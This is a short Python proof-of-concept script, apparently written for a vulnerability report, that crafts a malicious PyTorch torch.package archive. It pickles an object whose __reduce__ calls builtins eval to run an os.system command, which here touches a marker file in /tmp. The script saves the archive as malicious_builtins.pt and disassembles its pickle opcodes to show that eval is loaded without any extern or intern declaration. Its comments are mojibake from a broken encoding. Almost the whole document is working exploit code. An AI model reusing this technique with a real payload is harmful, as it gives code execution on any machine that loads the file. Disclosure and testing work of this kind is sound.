| import io, torch.package, os | |
| MARKER = "/tmp/torch_package_builtins_bypass_pwned" | |
| if os.path.exists(MARKER): | |
| os.remove(MARKER) | |
| # ๊ณต๊ฒฉ์๋ pickle์ builtins.eval์ ์ง์ ์ฐธ์กฐ -- extern() ์ ์ธ๋, intern() ์ ์ธ๋ ํ์์์ | |
| import pickletools, pickle | |
| class Exploit: | |
| def __reduce__(self): | |
| # builtins.eval("...") ํธ์ถ | |
| return (eval, (f"__import__('os').system('touch {MARKER}')",)) | |
| buf = io.BytesIO() | |
| with torch.package.PackageExporter(buf) as pe: | |
| # ๊ณต๊ฒฉ์๋ extern์ด๋ intern์ด๋ ์๋ฌด๊ฒ๋ ์ ์ธํ์ง ์์ -- eval์ builtins ์์์ด๋ผ ์๋ ํ์ฉ๋จ | |
| pe.save_pickle("archive", "data.pkl", Exploit()) | |
| data = buf.getvalue() | |
| with open("malicious_builtins.pt", "wb") as f: | |
| f.write(data) | |
| print(f"[+] malicious_builtins.pt written, {len(data)} bytes") | |
| print() | |
| print("=== pickle opcode ํ์ธ (extern/intern ์์ด GLOBAL 'builtins eval' ์ง์ ์ฐธ์กฐ๋๋์ง) ===") | |
| with open("malicious_builtins.pt", "rb") as f: | |
| import zipfile | |
| with zipfile.ZipFile(f) as z: | |
| names = z.namelist() | |
| print("์์นด์ด๋ธ ๋ด์ฉ:", names) | |
| pkl_data = z.read([n for n in names if n.endswith("data.pkl")][0]) | |
| pickletools.dis(pkl_data) | |